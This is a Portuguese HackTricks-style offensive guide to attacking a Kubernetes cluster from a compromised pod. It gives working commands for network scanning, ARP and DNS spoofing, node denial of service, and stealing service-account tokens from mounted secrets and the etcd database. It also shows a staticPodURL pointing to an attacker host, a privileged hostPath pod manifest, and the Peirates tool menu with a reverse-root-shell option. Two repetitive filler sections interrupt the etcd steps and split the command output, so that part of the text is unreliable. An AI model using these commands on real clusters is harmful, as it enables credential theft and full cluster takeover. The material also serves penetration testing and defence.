Attacking Kubernetes from inside a Pod

Atacando o Kubernetes de dentro de um Pod

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Fuga do Pod

Se tiver sorte, talvez consiga escapar para o nó:

Escapando do pod

Para tentar escapar do pod, você pode precisar elevar privilégios primeiro, algumas técnicas para fazer isso:

Você pode verificar essas fugas do docker para tentar escapar de um pod que você comprometeu:

Abusando dos Privilégios do Kubernetes

Como explicado na seção sobre enumeração do Kubernetes:

pageKubernetes Enumeration

Normalmente, os pods são executados com um token de conta de serviço dentro deles. Esta conta de serviço pode ter alguns privilégios anexados a ela que você poderia abusar para mover-se para outros pods ou até mesmo escapar para os nós configurados dentro do cluster. Veja como em:

pageAbusing Roles/ClusterRoles in Kubernetes

Abusando dos Privilégios na Nuvem

Se o pod é executado dentro de um ambiente de nuvem, você pode ser capaz de vazar um token do endpoint de metadados e elevar privilégios usando-o.

Pesquisar serviços de rede vulneráveis

Como você está dentro do ambiente do Kubernetes, se não conseguir elevar privilégios abusando dos privilégios atuais dos pods e não conseguir escapar do contêiner, você deve pesquisar serviços potencialmente vulneráveis.

Serviços

Para este propósito, você pode tentar obter todos os serviços do ambiente do Kubernetes:

kubectl get svc --all-namespaces

Por padrão, o Kubernetes usa um esquema de rede plano, o que significa que qualquer pod/serviço dentro do cluster pode se comunicar com outros. Os namespaces dentro do cluster não possuem restrições de segurança de rede por padrão. Qualquer pessoa no namespace pode se comunicar com outros namespaces.

Escaneamento

O seguinte script Bash (retirado de um workshop do Kubernetes) irá instalar e escanear os intervalos de IP do cluster Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Dê uma olhada na seguinte página para aprender como você poderia atacar serviços específicos do Kubernetes para comprometer outros pods/todo o ambiente:

pagePentesting Kubernetes Services

Sniffing

No caso do pod comprometido estar executando algum serviço sensível onde outros pods precisam se autenticar, você pode ser capaz de obter as credenciais enviadas pelos outros pods farejando comunicações locais.

Network Spoofing

Por padrão, técnicas como ARP spoofing (e graças a isso DNS Spoofing) funcionam na rede do Kubernetes. Então, dentro de um pod, se você tiver a capacidade NET_RAW (que está lá por padrão), você poderá enviar pacotes de rede personalizados e realizar ataques de MitM via ARP Spoofing para todos os pods em execução no mesmo nó. Além disso, se o pod malicioso estiver sendo executado no mesmo nó que o Servidor DNS, você poderá realizar um ataque de DNS Spoofing para todos os pods no cluster.

pageKubernetes Network Attacks

Node DoS

Não há especificação de recursos nos manifestos do Kubernetes e limites de aplicação não são aplicados para os contêineres. Como atacante, podemos consumir todos os recursos onde o pod/deployment está em execução e privar outros recursos, causando um DoS para o ambiente.

Isso pode ser feito com uma ferramenta como stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Você pode ver a diferença enquanto executa stress-ng e depois

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Pós-Exploração do Node

Se você conseguiu escapar do contêiner, encontrará algumas coisas interessantes no node:

  • O processo de Container Runtime (Docker)

  • Mais pods/contêineres em execução no node que você pode abusar como este (mais tokens)

  • Todo o sistema de arquivos e o SO em geral

  • O serviço Kube-Proxy ouvindo

  • O serviço Kubelet ouvindo. Verifique os arquivos de configuração:

    • Diretório: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Outros arquivos comuns do Kubernetes:

    • $HOME/.kube/config - Configuração do Usuário

    • /etc/kubernetes/kubelet.conf- Configuração Regular

    • /etc/kubernetes/bootstrap-kubelet.conf - Configuração de Inicialização

    • /etc/kubernetes/manifests/etcd.yaml - Configuração do etcd

    • /etc/kubernetes/pki - Chave do Kubernetes

Encontrar o kubeconfig do node

Se você não conseguir encontrar o arquivo kubeconfig em um dos caminhos mencionados anteriormente, verifique o argumento --kubeconfig do processo kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Roubar Segredos

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

O script can-they.sh irá automaticamente obter os tokens de outros pods e verificar se eles têm a permissão que você está procurando (em vez de você verificar um por um):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Privilegiados

Um DaemonSet é um pod que será executado em todos os nós do cluster. Portanto, se um DaemonSet for configurado com uma conta de serviço privilegiada, em TODOS os nós você será capaz de encontrar o token dessa conta de serviço privilegiada que você poderia abusar.

A exploração é a mesma que na seção anterior, mas agora você não depende da sorte.

Pivot para a Nuvem

Se o cluster for gerenciado por um serviço de nuvem, geralmente o Nó terá um acesso diferente ao endpoint de metadados do que o Pod. Portanto, tente acessar o endpoint de metadados a partir do nó (ou de um pod com hostNetwork para True):

pageKubernetes Pivoting to Clouds

Roubar etcd

Se você puder especificar o nome do nó do Nó que executará o contêiner, obtenha um shell dentro de um nó de plano de controle e obtenha o banco de dados etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Os nós de plano de controle têm a função de mestre e em clusters gerenciados na nuvem você não poderá executar nada neles.

Ler segredos do etcd

Se você puder executar seu pod em um nó de plano de controle usando o seletor nodeName na especificação do pod, você pode ter acesso fácil ao banco de dados etcd, que contém toda a configuração do cluster, incluindo todos os segredos.

Abaixo está uma maneira rápida e suja de pegar segredos do etcd se ele estiver sendo executado no nó de plano de controle em que você está. Se você deseja uma solução mais elegante que inicie um pod com a utilidade do cliente etcd etcdctl e use as credenciais do nó de plano de controle para se conectar ao etcd onde quer que ele esteja sendo executado, confira este exemplo de manifesto de @mauilion.

Verifique se o etcd está sendo executado no nó de plano de controle e veja onde o banco de dados está (Isso é em um cluster criado com kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Atacando o Kubernetes de Dentro de um Pod

Ao executar um ataque de dentro de um pod no Kubernetes, você pode explorar várias vulnerabilidades e realizar ações maliciosas. Aqui estão algumas técnicas comuns usadas para atacar o Kubernetes de dentro de um pod:

  1. Montagem de Volumes: Se um pod tiver permissões excessivas para montar volumes, um atacante pode montar um volume malicioso contendo scripts ou ferramentas de hacking.

  2. Execução de Comandos: Se um pod permitir a execução de comandos arbitrários, um invasor pode executar comandos maliciosos no cluster do Kubernetes.

  3. Acesso a Recursos Confidenciais: Se um pod tiver acesso a credenciais confidenciais, um atacante pode roubar essas credenciais e comprometer outros recursos no cluster.

  4. Escalada de Privilégios: Um atacante pode tentar escalar seus privilégios explorando vulnerabilidades no pod ou no cluster para obter acesso privilegiado.

É crucial garantir que os pods no Kubernetes tenham as permissões mínimas necessárias e que as práticas de segurança recomendadas sejam seguidas para evitar esses tipos de ataques.

data-dir=/var/lib/etcd

Visualizar os dados no banco de dados etcd:

strings /var/lib/etcd/member/snap/db | less

Extrair os tokens do banco de dados e mostrar o nome da conta de serviço

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Mesmo comando, mas com alguns greps para retornar apenas o token padrão no namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Atacando o Kubernetes de Dentro de um Pod

Ao executar um ataque de dentro de um pod no Kubernetes, você pode explorar vulnerabilidades e tentar escalar privilégios para comprometer o cluster. Aqui estão algumas técnicas comuns:

  1. Montagem de Volumes: Se um pod estiver montando um volume que dá acesso a informações sensíveis, você pode explorar isso para obter dados confidenciais.

  2. Execução de Comandos: Se conseguir executar comandos dentro de um pod, poderá explorar o ambiente para encontrar vulnerabilidades adicionais.

  3. Exploração de Vulnerabilidades: Procure por vulnerabilidades conhecidas no software em execução dentro do pod e veja se consegue explorá-las.

  4. Escalonamento de Privilégios: Tente escalar seus privilégios dentro do pod para obter acesso a mais recursos no cluster.

Ao realizar esses ataques, lembre-se sempre de seguir as leis e regulamentos locais e obter autorização adequada antes de prosseguir.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Persistência de Pods Estáticos/Refletidos

Pods Estáticos são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o servidor de API os observe. Ao contrário dos Pods gerenciados pelo plano de controle (por exemplo, um Deployment); em vez disso, o kubelet observa cada Pod estático (e o reinicia se falhar).

Portanto, os Pods estáticos estão sempre vinculados a um Kubelet em um nó específico.

O kubelet tenta automaticamente criar um Pod espelho no servidor de API do Kubernetes para cada Pod estático. Isso significa que os Pods em execução em um nó são visíveis no servidor de API, mas não podem ser controlados a partir dele. Os nomes dos Pods terão um sufixo com o nome do nó com um hífen inicial.

O spec de um Pod estático não pode se referir a outros objetos de API (por exemplo, ServiceAccount, ConfigMap, Secret, etc. Portanto, você não pode abusar desse comportamento para iniciar um pod com uma ServiceAccount arbitrária no nó atual para comprometer o cluster. Mas você poderia usar isso para executar pods em namespaces diferentes (caso seja útil por algum motivo).

Se você estiver dentro do nó host, pode fazer com que ele crie um pod estático dentro dele mesmo. Isso é bastante útil porque pode permitir que você crie um pod em um namespace diferente como kube-system.

Para criar um pod estático, a documentação é de grande ajuda. Basicamente, você precisa de 2 coisas:

  • Configurar o parâmetro --pod-manifest-path=/etc/kubernetes/manifests no serviço kubelet, ou no config do kubelet (staticPodPath) e reiniciar o serviço

  • Criar a definição no arquivo de definição do pod em /etc/kubernetes/manifests

Outra maneira mais furtiva seria:

  • Modificar o parâmetro staticPodURL do arquivo de configuração do kubelet e definir algo como staticPodURL: http://attacker.com:8765/pod.yaml. Isso fará com que o processo kubelet crie um pod estático obtendo a configuração a partir do URL indicado.

Exemplo de configuração do pod para criar um pod privilegiado em kube-system retirado daqui:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Excluir pods + nós não escalonáveis

Se um atacante comprometeu um nó e ele pode excluir pods de outros nós e impedir que outros nós executem pods, os pods serão reiniciados no nó comprometido e ele poderá roubar os tokens executados neles. Para mais informações siga estes links.

Ferramentas Automáticas

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización